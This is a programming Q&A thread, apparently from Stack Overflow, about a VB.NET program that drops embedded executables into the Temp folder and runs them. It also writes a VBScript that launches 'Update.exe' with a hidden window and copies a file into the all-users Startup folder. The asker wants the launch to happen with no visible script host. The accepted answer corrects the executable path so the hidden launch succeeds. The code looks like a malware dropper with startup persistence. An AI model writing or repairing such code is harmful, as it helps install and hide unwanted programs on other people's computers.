1

I need help to solve this script: The problem is simple, can not run VBScript VB8 because it opens with Windows based script host and throws me error.

As you can see here : img

I want to run as a normal VBScript script .

Public Class Form1 Dim File As String = "%temp%\Desktop" Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System) Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe") IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update) 

""""""""""""""""""""""""""Error starts here """"""""""""""""""""""""""""""

 IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop & "\net.vbs", My.Resources.net) Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\net.vbs") 

""""""""""""""""""""""""End Error""""""""""""""""""""""""""""""""""""

 MsgBox("Ok") Dim aakam As Integer On Error Resume Next aakam = 1000 Dim aakam031 As String = My.Computer.FileSystem.SpecialDirectories.Temp Dim akam As String = aakam031 + "System.exe" IO.File.WriteAllBytes(akam, My.Resources.System) Process.Start(akam) If System.IO.File.Exists(File) = True Then System.IO.File.Copy(File, Copy) System.IO.File.Copy(File, Paste) System.IO.File.Copy(File, Pegar) System.IO.File.Copy(File, NEA) End If End Sub 

The script of vbscript is:

Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "Update.exe" & Chr(34), 0 Set WshShell = Nothing 

I want that opens like a typical scipt of vbscript. No Windows based script host. If you know how move a exe to shell:common startup. It would be much better to run a vbscript Thanks.

6
  • 1
    Your script is failing in line 2, that is, the non found element is Update.exe. You should include the path to the file. Commented Jun 18, 2015 at 5:54
  • 1
    Every VBScript is executed by the Windows Script Host. Always. It's also utterly unclear to me why you create a script that does nothing other than running an executable. Why not run the executable from your VB.NET code? Commented Jun 18, 2015 at 6:53
  • You could try using the MSScriptControl in .NET Commented Jun 18, 2015 at 8:04
  • @Tomalak Internet Explorer (IE) is just one of the available scripting hosts other than the Windows Script Host. Commented Jun 18, 2015 at 10:19
  • 1
    @Tomalak IE11 is, of course, a vb script host, for backward compatibility. Unlike IE10 and MSI, the IE11 vb script host is not supported by MS support. Not that it matters: you can host the scripting control and execute vbs files in dot Net or Powershell. I'm only clearing up the technical confusion, not answering the utlimate question. Commented Jun 22, 2015 at 4:53

1 Answer 1

0

As @MCND already pointed out: your problem is not the Windows Script Host, but that the executable isn't found in the current working directory. If the executable is located in the user's Temp directory you could simply add the %TEMP% environment variable to the executable path:

WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0 

or you could pass the directory to the script as an argument and set the working directory like this:

WshShell.CurrentDirectory = WScript.Arguments(0) WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0 
Sign up to request clarification or add additional context in comments.

Comments

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.